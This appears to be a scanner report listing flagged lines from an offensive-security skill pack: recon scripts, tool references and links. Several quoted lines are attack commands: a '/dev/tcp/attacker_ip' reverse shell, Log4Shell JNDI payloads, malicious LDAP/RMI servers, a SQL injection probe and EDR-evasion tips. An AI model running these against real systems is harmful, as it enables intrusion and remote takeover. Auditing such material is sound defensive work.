    In scope:      https://api.example.com        | URL       | Eligible for bounty      *.example.com                  | WILDCARD  | Eligible for bounty
  • Network accessline 34
    https://api.example.com        | URL       | Eligible for bounty

deepsec/spear/skills/specialized/hackerone/references/hackerone-report-and-scope.md

  • Network accessline 34
    In scope: https://api.example.com        | URL       | Eligible for bounty
  • Network accessline 35
    https://api.example.com        | URL       | Eligible for bounty

deepsec/spear/skills/specialized/intranet-pentest-advanced/references/06-intranet-and-host-operations-integrated.md

  • Network accessline 916
    - 读取文件操作通常不会触发警报,但大量文件搜索(dir /s)可能被EDR检测。建议直接检查已知路径而非全盘搜索。 External References: - https://attack.mitre.org/techniques/T1552/001/
  • Network accessline 918
    - https://attack.mitre.org/techniques/T1552/001/
  • Network accessline 1162
    - 1) Potato工具的二进制文件特征明显,建议内存加载 2) 创建的命名管道名称可能被监控 3) 成功后立即清理工具和临时文件 4) 避免使用net user等敏感命令,改用更隐蔽的后渗透方式 External References: - https://attack.mitre.org/techniques/T1134/001/
  • Network accessline 1163
    External References: - https://attack.mitre.org/techniques/T1134/001/ - https://github.com/BeichenDream/GodPotato
  • Network accessline 1164
    - https://attack.mitre.org/techniques/T1134/001/
  • Network accessline 1165
    - https://github.com/BeichenDream/GodPotato

deepsec/spear/skills/specialized/intranet-pentest-advanced/references/intranet-playbook-03-credential-theft.md

  • Network accessline 362
    - 读取文件操作通常不会触发警报,但大量文件搜索(dir /s)可能被EDR检测。建议直接检查已知路径而非全盘搜索。 External References: - https://attack.mitre.org/techniques/T1552/001/
  • Network accessline 364
    - https://attack.mitre.org/techniques/T1552/001/

deepsec/spear/skills/specialized/intranet-pentest-advanced/references/intranet-playbook-04-privilege-escalation.md

  • Network accessline 237
    - 1) Potato工具的二进制文件特征明显,建议内存加载 2) 创建的命名管道名称可能被监控 3) 成功后立即清理工具和临时文件 4) 避免使用net user等敏感命令,改用更隐蔽的后渗透方式 External References: - https://attack.mitre.org/techniques/T1134/001/
  • Network accessline 238
    External References: - https://attack.mitre.org/techniques/T1134/001/ - https://github.com/BeichenDream/GodPotato
  • Network accessline 239
    - https://attack.mitre.org/techniques/T1134/001/
  • Network accessline 240
    - https://github.com/BeichenDream/GodPotato

deepsec/spear/skills/specialized/osint-recon/SKILL.md

  • Access to secretsline 44
    [Credential-related source omitted]
  • Network accessline 117
    import requests domain = "example.com" r = requests.get(f"https://crt.sh/?q=%.{domain}&output=json")
  • Network accessline 118
    domain = "example.com" r = requests.get(f"https://crt.sh/?q=%.{domain}&output=json") if r.status_code == 200:
  • Network accessline 119
    r = requests.get(f"https://crt.sh/?q=%.{domain}&output=json")
  • Network accessline 127
    import requests username = "target_user" r = requests.get(f"https://api.github.com/users/{username}")
  • Network accessline 128
    username = "target_user" r = requests.get(f"https://api.github.com/users/{username}") if r.status_code == 200:
  • Network accessline 129
    r = requests.get(f"https://api.github.com/users/{username}")
  • Network accessline 142
    import requests url = "https://target.com"
  • Network accessline 143
    url = "https://target.com" # 正常请求 r1 = requests.get(url)
  • Network accessline 144
    # 正常请求 r1 = requests.get(url) # 触发 WAF 的请求(带攻击特征)
  • Network accessline 145
    r1 = requests.get(url)
  • Network accessline 146
    # 触发 WAF 的请求(带攻击特征) r2 = requests.get(url + "/?id=1' OR 1=1--") # 对比响应
  • Network accessline 147
    r2 = requests.get(url + "/?id=1' OR 1=1--")
  • Network accessline 158
    # 使用 chinaz API 或其他反查接口 # 也可以通过 crt.sh 查询同 IP 的证书 r = requests.get(f"https://crt.sh/?q={ip}&output=json")
  • Network accessline 160
    r = requests.get(f"https://crt.sh/?q={ip}&output=json")

deepsec/spear/skills/specialized/osint-recon/references/author-tracking.md

  • Network accessline 68
    def get_github_profile(username):     """获取 GitHub 用户公开信息"""     r = requests.get(f"https://api.github.com/users/{username}")
  • Network accessline 69
    """获取 GitHub 用户公开信息"""     r = requests.get(f"https://api.github.com/users/{username}")     if r.status_code != 200:
  • Network accessline 70
    r = requests.get(f"https://api.github.com/users/{username}")
  • Network accessline 89
    def get_github_repos(username):     """获取用户公开仓库(推断技术栈)"""     r = requests.get(f"https://api.github.com/users/{username}/repos?per_page=100")
  • Network accessline 90
    """获取用户公开仓库(推断技术栈)"""     r = requests.get(f"https://api.github.com/users/{username}/repos?per_page=100")     if r.status_code != 200:
  • Network accessline 91
    r = requests.get(f"https://api.github.com/users/{username}/repos?per_page=100")
  • Network accessline 111
    def get_github_commit_email(username, repo):     """从 GitHub 提交记录提取作者邮箱"""     r = requests.get(f"https://api.github.com/repos/{username}/{repo}/commits?per_page=10")
  • Network accessline 112
    """从 GitHub 提交记录提取作者邮箱"""     r = requests.get(f"https://api.github.com/repos/{username}/{repo}/commits?per_page=10")     if r.status_code != 200:
  • Network accessline 113
    r = requests.get(f"https://api.github.com/repos/{username}/{repo}/commits?per_page=10")
  • Network accessline 130
    # 常见平台检测 PLATFORMS = {     'GitHub': 'https://github.com/{username}',
  • Network accessline 131
    PLATFORMS = {     'GitHub': 'https://github.com/{username}',     'B站': 'https://space.bilibili.com/search?keyword={username}',
  • Network accessline 132
    'GitHub': 'https://github.com/{username}',
  • Network accessline 133
    'B站': 'https://space.bilibili.com/search?keyword={username}',
  • Network accessline 134
    '知乎': 'https://www.zhihu.com/search?type=content&q={username}',
  • Network accessline 135
    'CSDN': 'https://blog.csdn.net/{username}',
  • Network accessline 136
    '掘金': 'https://juejin.cn/user/{username}',
  • Network accessline 137
    'Twitter': 'https://twitter.com/{username}',
  • Network accessline 138
    'LinkedIn': 'https://www.linkedin.com/in/{username}',

deepsec/spear/skills/specialized/osint-recon/references/osint-toolkit.md

  • Network accessline 9
    def query_crtsh(domain):     """通过 crt.sh 查询子域名"""     url = f"https://crt.sh/?q=%25.{domain}&output=json"
  • Network accessline 10
    """通过 crt.sh 查询子域名"""     url = f"https://crt.sh/?q=%25.{domain}&output=json"     try:
  • Network accessline 11
    url = f"https://crt.sh/?q=%25.{domain}&output=json"     try:         r = requests.get(url, timeout=30)
  • Network accessline 12
    try:         r = requests.get(url, timeout=30)         if r.status_code == 200:
  • Network accessline 13
    r = requests.get(url, timeout=30)
  • Network accessline 38
    def search_github_code(query, max_results=10):     """搜索 GitHub 代码(检测密钥/配置泄露)"""     url = "https://api.github.com/search/code"
  • Network accessline 39
    """搜索 GitHub 代码(检测密钥/配置泄露)"""     url = "https://api.github.com/search/code"     params = {'q': query, 'per_page': max_results}
  • Network accessline 40
    url = "https://api.github.com/search/code"
  • Network accessline 44
    r = requests.get(url, params=params, headers=headers)
  • Access to secretsline 58
    [Credential-related source omitted]
  • Access to secretsline 60
    [Credential-related source omitted]
  • Network accessline 109
    """通过在线 API 查询 WHOIS"""     # 使用 whoisjson.com 免费 API     url = f"https://whoisjson.com/api/v1/whois?domain={domain}"
  • Network accessline 110
    # 使用 whoisjson.com 免费 API     url = f"https://whoisjson.com/api/v1/whois?domain={domain}"     try:
  • Network accessline 111
    url = f"https://whoisjson.com/api/v1/whois?domain={domain}"     try:         r = requests.get(url, timeout=10)
  • Network accessline 112
    try:         r = requests.get(url, timeout=10)         if r.status_code == 200:
  • Network accessline 113
    r = requests.get(url, timeout=10)
  • Access to secretsline 153
    [Credential-related source omitted]
  • Access to secretsline 155
    [Credential-related source omitted]
  • Network accessline 172
    def wayback_query(domain):     """查询 Wayback Machine 历史快照"""     url = f"http://archive.org/wayback/available?url={domain}"
  • Network accessline 173
    """查询 Wayback Machine 历史快照"""     url = f"http://archive.org/wayback/available?url={domain}"     try:
  • Network accessline 174
    url = f"http://archive.org/wayback/available?url={domain}"     try:         r = requests.get(url, timeout=10)
  • Network accessline 175
    try:         r = requests.get(url, timeout=10)         if r.status_code == 200:
  • Network accessline 176
    r = requests.get(url, timeout=10)
  • Network accessline 190
    | 工具 | URL | 说明 | |------|-----|------| | 站长工具 | https://stool.chinaz.com/same | 国内最常用 |
  • Network accessline 191
    |------|-----|------| | 站长工具 | https://stool.chinaz.com/same | 国内最常用 | | 微步在线 | https://x.threatbook.cn | 威胁情报+旁站 |
  • Network accessline 192
    | 站长工具 | https://stool.chinaz.com/same | 国内最常用 |
  • Network accessline 193
    | 微步在线 | https://x.threatbook.cn | 威胁情报+旁站 |
  • Network accessline 194
    | crt.sh | https://crt.sh | 用 IP 查证书关联域名 |
  • Network accessline 195
    | Censys | https://search.censys.io | 全球资产搜索 |
  • Network accessline 196
    | Fofa | https://fofa.info | 空间搜索引擎 |
  • Network accessline 204
    domains = set()     try:         r = requests.get(f"https://crt.sh/?q={ip}&output=json", timeout=30)
  • Network accessline 205
    try:         r = requests.get(f"https://crt.sh/?q={ip}&output=json", timeout=30)         if r.status_code == 200:
  • Network accessline 206
    r = requests.get(f"https://crt.sh/?q={ip}&output=json", timeout=30)
  • Network accessline 228
    | 工具 | URL | 说明 | |------|-----|------| | Fofa | https://fofa.info | `ip="1.2.3.0/24"` |
  • Network accessline 229
    |------|-----|------| | Fofa | https://fofa.info | `ip="1.2.3.0/24"` | | Shodan | https://www.shodan.io | `net:1.2.3.0/24` |
  • Network accessline 230
    | Fofa | https://fofa.info | `ip="1.2.3.0/24"` |
  • Network accessline 231
    | Shodan | https://www.shodan.io | `net:1.2.3.0/24` |
  • Network accessline 232
    | Censys | https://search.censys.io | `ip:/1.2.3.0-1.2.3.255/` |
  • Network accessline 244
    def check(host_ip):         try:             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  • Network accessline 245
    try:             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)             s.settimeout(timeout)
  • Network accessline 246
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  • Network accessline 277
    | 工具 | URL | 说明 | |------|-----|------| | 工信部备案查询 | https://beian.miit.gov.cn | 官方权威 |
  • Network accessline 278
    |------|-----|------| | 工信部备案查询 | https://beian.miit.gov.cn | 官方权威 | | 站长工具备案查询 | https://icp.chinaz.com | 便捷查询 |
  • Network accessline 279
    | 工信部备案查询 | https://beian.miit.gov.cn | 官方权威 |
  • Network accessline 280
    | 站长工具备案查询 | https://icp.chinaz.com | 便捷查询 |
  • Network accessline 281
    | 天眼查 | https://www.tianyancha.com | 企业+备案关联 |
  • Network accessline 282
    | 爱站备案查询 | https://www.aizhan.com/cha/ | 批量查询 |
  • Network accessline 292
    try:         # 使用 whois 查询中国域名信息         url = f"https://whois.chinaz.com/{domain}"
  • Network accessline 293
    # 使用 whois 查询中国域名信息         url = f"https://whois.chinaz.com/{domain}"         headers = {
  • Network accessline 294
    url = f"https://whois.chinaz.com/{domain}"
  • Network accessline 296
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'         }         r = requests.get(url, headers=headers, timeout=10)
  • Network accessline 297
    }         r = requests.get(url, headers=headers, timeout=10)         # 解析备案信息
  • Network accessline 298
    r = requests.get(url, headers=headers, timeout=10)

deepsec/spear/skills/specialized/osint-recon/references/server-recon.md

  • Network accessline 24
    def scan_port(host, port, timeout=2):     try:         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  • Network accessline 25
    try:         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)         s.settimeout(timeout)
  • Network accessline 26
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  • Network accessline 44
    def grab_banner(host, port, timeout=3):     try:         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  • Network accessline 45
    try:         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)         s.settimeout(timeout)
  • Network accessline 46
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  • Network accessline 63
    ### 方法一:DNS 历史记录 - SecurityTrails (https://securitytrails.com/dns-trials)
  • Network accessline 64
    - SecurityTrails (https://securitytrails.com/dns-trials)
  • Network accessline 65
    - DNSHistory (https://dnshistory.org)
  • Network accessline 66
    - ViewDNS (https://viewdns.info/iphistory/)
  • Network accessline 67
    - Netcraft Site Report (https://sitereport.netcraft.com/)
  • Network accessline 72
    # 使用多地 Ping 服务 urls = [     f"https://www.whatsmydns.net/#A/{domain}",
  • Network accessline 73
    urls = [     f"https://www.whatsmydns.net/#A/{domain}",     f"https://ping.pe/{domain}",
  • Network accessline 74
    f"https://www.whatsmydns.net/#A/{domain}",     f"https://ping.pe/{domain}",     f"https://tools.keycdn.com/curl?url={domain}",
  • Network accessline 75
    f"https://ping.pe/{domain}",     f"https://tools.keycdn.com/curl?url={domain}", ]
  • Network accessline 76
    f"https://tools.keycdn.com/curl?url={domain}",
  • Network accessline 94
    import requests domain = "target.com" r = requests.get(f"https://crt.sh/?q=%.{domain}&output=json")
  • Network accessline 95
    domain = "target.com" r = requests.get(f"https://crt.sh/?q=%.{domain}&output=json") if r.status_code == 200:
  • Network accessline 96
    r = requests.get(f"https://crt.sh/?q=%.{domain}&output=json")
  • Dangerous shell operationline 134
    sudo nmap -O --osscan-guess <target>
  • Network accessline 157
    import requests target = "https://target.com"
  • Network accessline 158
    target = "https://target.com" # Apache r = requests.get(f"{target}/server-status")  # 403 = 存在
  • Network accessline 159
    # Apache r = requests.get(f"{target}/server-status")  # 403 = 存在 r = requests.get(f"{target}/server-info")    # 403 = 存在
  • Network accessline 160
    r = requests.get(f"{target}/server-status")  # 403 = 存在
  • Network accessline 161
    r = requests.get(f"{target}/server-info")    # 403 = 存在
  • Network accessline 162
    # Nginx r = requests.get(f"{target}/nginx_status")   # 可能暴露状态 # Tomcat
  • Network accessline 163
    r = requests.get(f"{target}/nginx_status")   # 可能暴露状态
  • Network accessline 164
    # Tomcat r = requests.get(f"{target}/manager/html")   # 管理界面 # IIS
  • Network accessline 165
    r = requests.get(f"{target}/manager/html")   # 管理界面
  • Network accessline 167
    r = requests.get(f"{target}/aspnet_client/") # ASP.NET 特征
  • Network accessline 193
    def check_db(host, port, timeout=2):     try:         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  • Network accessline 194
    try:         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)         s.settimeout(timeout)
  • Network accessline 195
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

deepsec/spear/skills/specialized/osint-recon/references/social-engineering-intel.md

  • Network accessline 84
    | 项目 | 内容 | 置信度 | 来源 | |------|------|--------|------| | 目标 | https://xxx | - | 用户输入 |
  • Network accessline 85
    |------|------|--------|------| | 目标 | https://xxx | - | 用户输入 | | 框架 | Hexo | 🟢 | HTTP头+HTML特征 |
  • Network accessline 86
    | 目标 | https://xxx | - | 用户输入 |
  • Network accessline 92
    ## 👤 人物画像 - **昵称**:XXX - **GitHub**:https://github.com/xxx
  • Network accessline 93
    - **昵称**:XXX - **GitHub**:https://github.com/xxx - **B站**:https://space.bilibili.com/xxx
  • Network accessline 94
    - **GitHub**:https://github.com/xxx
  • Network accessline 95
    - **B站**:https://space.bilibili.com/xxx

deepsec/spear/skills/specialized/osint-recon/references/web-fingerprinting.md

  • Access to secretsline 121
    [Credential-related source omitted]
  • Access to secretsline 141
    [Credential-related source omitted]

deepsec/spear/skills/specialized/osint-recon/references/website-recon.md

  • Network accessline 27
    url = "https://target.com" r = requests.get(url, timeout=10)
  • Network accessline 28
    r = requests.get(url, timeout=10)
  • Network accessline 85
    url = "https://target.com" r = requests.get(url, timeout=10)
  • Network accessline 86
    r = requests.get(url, timeout=10)
  • Network accessline 138
    url = "https://target.com"
  • Network accessline 140
    # 1. 正常请求 r1 = requests.get(url)
  • Network accessline 141
    r1 = requests.get(url)
  • Network accessline 151
    for payload in waf_payloads:     r2 = requests.get(url + payload, allow_redirects=False)
  • Network accessline 152
    r2 = requests.get(url + payload, allow_redirects=False)
  • Access to secretsline 180
    [Credential-related source omitted]
  • Network accessline 203
    target = "https://target.com"
  • Access to secretsline 205
    [Credential-related source omitted]
  • Network accessline 211
    for path in paths:     try:         r = requests.get(target + path, timeout=5, allow_redirects=False)
  • Network accessline 212
    try:         r = requests.get(target + path, timeout=5, allow_redirects=False)         if r.status_code in [200, 301, 302, 401, 403]:
  • Network accessline 213
    r = requests.get(target + path, timeout=5, allow_redirects=False)
  • Access to secretsline 228
    [Credential-related source omitted]
  • Network accessline 239
    target = "https://target.com"
  • Network accessline 241
    # 1. 检查 .git/HEAD r = requests.get(f"{target}/.git/HEAD")
  • Network accessline 242
    r = requests.get(f"{target}/.git/HEAD")
  • Network accessline 246
    ref_path = r.text.strip().split("ref: ")[1] if "ref: " in r.text else ""     if ref_path:         r2 = requests.get(f"{target}/.git/{ref_path}")
  • Network accessline 247
    if ref_path:         r2 = requests.get(f"{target}/.git/{ref_path}")         if r2.status_code == 200:
  • Network accessline 248
    r2 = requests.get(f"{target}/.git/{ref_path}")
  • Network accessline 252
    # 3. 尝试获取 config r3 = requests.get(f"{target}/.git/config")
  • Network accessline 253
    r3 = requests.get(f"{target}/.git/config")
  • Network accessline 260
    ### 查询方法 1. **站长工具** — https://stool.chinaz.com/same
  • Network accessline 261
    1. **站长工具** — https://stool.chinaz.com/same
  • Network accessline 262
    2. **微步在线** — https://x.threatbook.cn
  • Network accessline 264
    4. **Censys** — https://search.censys.io
  • Network accessline 272
    # 方法1: crt.sh 查询同 IP 证书 r = requests.get(f"https://crt.sh/?q={ip}&output=json", timeout=15)
  • Network accessline 273
    r = requests.get(f"https://crt.sh/?q={ip}&output=json", timeout=15)
  • Network accessline 298
    def check_host(ip, timeout=1):     try:         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  • Network accessline 299
    try:         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)         s.settimeout(timeout)
  • Network accessline 300
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-01-encoding-decoding.md

  • Network accessline 47
    # CyberChef在线: https://gchq.github.io/CyberChef/` - 解码: `# Python: python3 -c "from urllib.parse import unquote; print(unquote('%3Cscript%3Ealert(1)%3C%2Fscript%3E'))"
  • Network accessline 130
    Representative Commands: - 在线解码: `# 在线工具: # https://jwt.io
  • Network accessline 131
    - 在线解码: `# 在线工具: # https://jwt.io # https://token.dev
  • Network accessline 132
    # https://jwt.io
  • Network accessline 133
    # https://token.dev
  • Network accessline 154
    # 4. exp是否已过期` External References: - https://jwt.io
  • Network accessline 156
    - https://jwt.io

deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-03-red-team-tools.md

  • Network accessline 21
    - SMB Beacon: `beacon> link target_ip` External References: - https://www.cobaltstrike.com/
  • Network accessline 23
    - https://www.cobaltstrike.com/

deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-04-exploitation.md

  • Network accessline 18
    - 设置参数: `set RHOSTS 192.168.1.100` External References: - https://www.metasploitunleashed.com/
  • Network accessline 19
    External References: - https://www.metasploitunleashed.com/ ## Searchsploit
  • Network accessline 20
    - https://www.metasploitunleashed.com/
  • Network accessline 36
    - JSON输出: `searchsploit -j apache | jq ".RESULTS_EXPLOIT[]"` External References: - https://www.exploit-db.com/searchsploit
  • Network accessline 37
    External References: - https://www.exploit-db.com/searchsploit ## ExploitDB
  • Network accessline 38
    - https://www.exploit-db.com/searchsploit
  • Network accessline 44
    漏洞利用代码数据库在线搜索 Installation: 在线使用: https://www.exploit-db.com / 本地: searchsploit
  • Network accessline 45
    Installation: 在线使用: https://www.exploit-db.com / 本地: searchsploit Representative Commands:
  • Network accessline 46
    在线使用: https://www.exploit-db.com / 本地: searchsploit
  • Network accessline 47
    Representative Commands: - 在线搜索: `# 访问 https://www.exploit-db.com # 搜索框输入: Apache Struts
  • Network accessline 48
    - 在线搜索: `# 访问 https://www.exploit-db.com
  • Network accessline 50
    # 或使用Google Dork: site:exploit-db.com "Apache Struts" RCE` - API查询: `curl "https://www.exploit-db.com/search?q=wordpress+5.0" -H "X-Requested-With: XMLHttpRequest"`
  • Network accessline 51
    site:exploit-db.com "Apache Struts" RCE` - API查询: `curl "https://www.exploit-db.com/search?q=wordpress+5.0" -H "X-Requested-With: XMLHttpRequest"` - Google Hacking: `# ExploitDB收录的Google Dorks:
  • Network accessline 52
    - API查询: `curl "https://www.exploit-db.com/search?q=wordpress+5.0" -H "X-Requested-With: XMLHttpRequest"`
  • Network accessline 53
    - Google Hacking: `# ExploitDB收录的Google Dorks: https://www.exploit-db.com/google-hacking-database # 搜索泄露的配置文件、数据库等`
  • Network accessline 54
    https://www.exploit-db.com/google-hacking-database
  • Network accessline 55
    # 搜索泄露的配置文件、数据库等` External References: - https://www.exploit-db.com
  • Network accessline 56
    External References: - https://www.exploit-db.com ## ysoserial
  • Network accessline 57
    - https://www.exploit-db.com
  • Network accessline 63
    Java反序列化漏洞利用Payload生成工具 Installation: java -jar ysoserial.jar / 下载: https://github.com/frohoff/ysoserial/releases
  • Network accessline 64
    Installation: java -jar ysoserial.jar / 下载: https://github.com/frohoff/ysoserial/releases Representative Commands:
  • Network accessline 65
    java -jar ysoserial.jar / 下载: https://github.com/frohoff/ysoserial/releases
  • Network accessline 74
    # 发送JRMP客户端Payload: java -jar ysoserial.jar JRMPClient attacker_ip:1099 > jrmp.bin` - URLDNS探测: `java -jar ysoserial.jar URLDNS "http://your_dnslog.com/test" | base64`
  • Network accessline 75
    java -jar ysoserial.jar JRMPClient attacker_ip:1099 > jrmp.bin` - URLDNS探测: `java -jar ysoserial.jar URLDNS "http://your_dnslog.com/test" | base64` External References:
  • Network accessline 76
    - URLDNS探测: `java -jar ysoserial.jar URLDNS "http://your_dnslog.com/test" | base64`
  • Network accessline 77
    External References: - https://github.com/frohoff/ysoserial ## ysoserial.net
  • Network accessline 78
    - https://github.com/frohoff/ysoserial
  • Network accessline 84
    .NET反序列化Payload生成工具 Installation: 下载: https://github.com/pwntester/ysoserial.net/releases
  • Network accessline 85
    Installation: 下载: https://github.com/pwntester/ysoserial.net/releases Representative Commands:
  • Network accessline 86
    下载: https://github.com/pwntester/ysoserial.net/releases
  • Network accessline 91
    # 常用: TextFormattingRunProperties, TypeConfuseDelegate, PSObject` External References: - https://github.com/pwntester/ysoserial.net
  • Network accessline 92
    External References: - https://github.com/pwntester/ysoserial.net ## Marshalsec
  • Network accessline 93
    - https://github.com/pwntester/ysoserial.net
  • Network accessline 99
    Java反序列化利用工具,支持多种Marshal格式和JNDI注入 Installation: git clone https://github.com/mbechler/marshalsec && mvn clean package -DskipTests
  • Network accessline 100
    Installation: git clone https://github.com/mbechler/marshalsec && mvn clean package -DskipTests Representative Commands:
  • Network accessline 101
    git clone https://github.com/mbechler/marshalsec && mvn clean package -DskipTests
  • Network accessline 102
    Representative Commands: - LDAP服务器: `java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker_ip:8888/#Exploit" 1389` - RMI服务器: `java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http:
  • Network accessline 103
    - LDAP服务器: `java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker_ip:8888/#Exploit" 1389`
  • Network accessline 104
    - RMI服务器: `java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://attacker_ip:8888/#Exploit" 1099`
  • Network accessline 105
    - 配合Log4Shell: `# 1. 编译恶意class: javac Exploit.java # 2. 托管class: python3 -m http.server 8888 # 3. 启动LDAP: java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://ip:8888/#Exploit" 1389
  • Network accessline 106
    # 2. 托管class: python3 -m http.server 8888 # 3. 启动LDAP: java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://ip:8888/#Exploit" 1389 # 4. 触发: ${jndi:ldap://ip:1389/Exploit}`
  • Network accessline 107
    # 3. 启动LDAP: java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://ip:8888/#Exploit" 1389
  • Network accessline 108
    # 4. 触发: ${jndi:ldap://ip:1389/Exploit}` External References: - https://github.com/mbechler/marshalsec
  • Network accessline 109
    External References: - https://github.com/mbechler/marshalsec ## JNDIExploit
  • Network accessline 110
    - https://github.com/mbechler/marshalsec
  • Network accessline 116
    JNDI注入利用工具,集成多种Gadget和Bypass Installation: git clone https://github.com/feihong-cs/JNDIExploit && mvn clean package
  • Network accessline 117
    Installation: git clone https://github.com/feihong-cs/JNDIExploit && mvn clean package Representative Commands:
  • Network accessline 118
    git clone https://github.com/feihong-cs/JNDIExploit && mvn clean package
  • Network accessline 127
    ${jndi:ldap://attacker_ip:1389/Deserialization/CommonsCollections5/Command/Base64/d2hvYW1p}` External References: - https://github.com/feihong-cs/JNDIExploit
  • Network accessline 128
    External References: - https://github.com/feihong-cs/JNDIExploit ## Rogue JNDI
  • Network accessline 129
    - https://github.com/feihong-cs/JNDIExploit
  • Network accessline 135
    恶意JNDI服务器,提供多种攻击向量 Installation: git clone https://github.com/veracode-research/rogue-jndi && mvn package
  • Network accessline 136
    Installation: git clone https://github.com/veracode-research/rogue-jndi && mvn package Representative Commands:
  • Network accessline 137
    git clone https://github.com/veracode-research/rogue-jndi && mvn package
  • Network accessline 138
    Representative Commands: - 启动服务: `java -jar RogueJndi.jar --command "whoami" --hostname attacker_ip` - 反弹Shell: `java -jar RogueJndi.jar --command "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" --hostname attacker_ip`
  • Network accessline 139
    - 启动服务: `java -jar RogueJndi.jar --command "whoami" --hostname attacker_ip` - 反弹Shell: `java -jar RogueJndi.jar --command "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" --hostname attacker_ip` - 触发利用: `# LDAP: ${jndi:ldap://attacker_ip:1389/o=
  • Dangerous shell operationline 140
    - 反弹Shell: `java -jar RogueJndi.jar --command "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" --hostname attacker_ip`
  • Network accessline 140
    - 反弹Shell: `java -jar RogueJndi.jar --command "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" --hostname attacker_ip`
  • Network accessline 142
    # RMI: ${jndi:rmi://attacker_ip:1099/o=reference}` External References: - https://github.com/veracode-research/rogue-jndi
  • Network accessline 143
    External References: - https://github.com/veracode-research/rogue-jndi ## Cobalt Strike
  • Network accessline 144
    - https://github.com/veracode-research/rogue-jndi
  • Network accessline 174
    persist-registry` - Malleable C2: `# 使用C2 Profile伪装流量: # https://github.com/rsmudge/Malleable-C2-Profiles
  • Network accessline 175
    - Malleable C2: `# 使用C2 Profile伪装流量: # https://github.com/rsmudge/Malleable-C2-Profiles ./teamserver ip pass jquery-c2.4.0.profile`
  • Network accessline 176
    # https://github.com/rsmudge/Malleable-C2-Profiles
  • Network accessline 177
    ./teamserver ip pass jquery-c2.4.0.profile` External References: - https://www.cobaltstrike.com/
  • Network accessline 178
    External References: - https://www.cobaltstrike.com/ ## Sliver
  • Network accessline 179
    - https://www.cobaltstrike.com/
  • Network accessline 185
    开源跨平台红队C2框架,Cobalt Strike替代品 Installation: curl https://sliver.sh/install | sudo bash / go install github.com/BishopFox/sliver/client@latest
  • Network accessline 186
    Installation: curl https://sliver.sh/install | sudo bash / go install github.com/BishopFox/sliver/client@latest Representative Commands:
  • Dangerous shell operationline 187
    curl https://sliver.sh/install | sudo bash / go install github.com/BishopFox/sliver/client@latest
  • Network accessline 187
    curl https://sliver.sh/install | sudo bash / go install github.com/BishopFox/sliver/client@latest
  • Network accessline 203
    pivots tcp --bind 0.0.0.0:9050` External References: - https://github.com/BishopFox/sliver
  • Network accessline 204
    External References: - https://github.com/BishopFox/sliver ## Mythic
  • Network accessline 205
    - https://github.com/BishopFox/sliver
  • Network accessline 211
    模块化C2框架,支持多种Agent和自定义扩展 Installation: git clone https://github.com/its-a-feature/Mythic && cd Mythic && ./install_docker_ubuntu.sh && sudo ./mythic-cli start
  • Network accessline 212
    Installation: git clone https://github.com/its-a-feature/Mythic && cd Mythic && ./install_docker_ubuntu.sh && sudo ./mythic-cli start Representative Commands:
  • Dangerous shell operationline 213
    git clone https://github.com/its-a-feature/Mythic && cd Mythic && ./install_docker_ubuntu.sh && sudo ./mythic-cli start
  • Network accessline 213
    git clone https://github.com/its-a-feature/Mythic && cd Mythic && ./install_docker_ubuntu.sh && sudo ./mythic-cli start
  • Network accessline 214
    Representative Commands: - 安装Agent: `sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo sudo ./mythic-cli install github https://github.com/MythicAgents/Poseidon`
  • Dangerous shell operationline 215
    - 安装Agent: `sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo
  • Network accessline 215
    - 安装Agent: `sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo
  • Dangerous shell operationline 216
    sudo ./mythic-cli install github https://github.com/MythicAgents/Poseidon`
  • Network accessline 216
    sudo ./mythic-cli install github https://github.com/MythicAgents/Poseidon`
  • Network accessline 217
    - 访问Web界面: `https://attacker_ip:7443
  • Access to secretsline 219
    [Credential-related source omitted]
  • Network accessline 224
    # 4. 生成Payload下载` External References: - https://github.com/its-a-feature/Mythic
  • Network accessline 226
    - https://github.com/its-a-feature/Mythic

deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-05-password-attacks.md

  • Network accessline 18
    - MySQL爆破: `hydra -l root -P wordlist.txt mysql://target_ip` External References: - https://github.com/vanhauser-thc/thc-hydra
  • Network accessline 19
    External References: - https://github.com/vanhauser-thc/thc-hydra ## John the Ripper
  • Network accessline 20
    - https://github.com/vanhauser-thc/thc-hydra
  • Network accessline 36
    john --wordlist=wordlist.txt zip.hash` External References: - https://www.openwall.com/john/doc/
  • Network accessline 37
    External References: - https://www.openwall.com/john/doc/ ## Hashcat
  • Network accessline 38
    - https://www.openwall.com/john/doc/
  • Network accessline 57
    - 组合攻击: `hashcat -m 0 -a 1 hash.txt wordlist1.txt wordlist2.txt` External References: - https://hashcat.net/wiki/
  • Network accessline 58
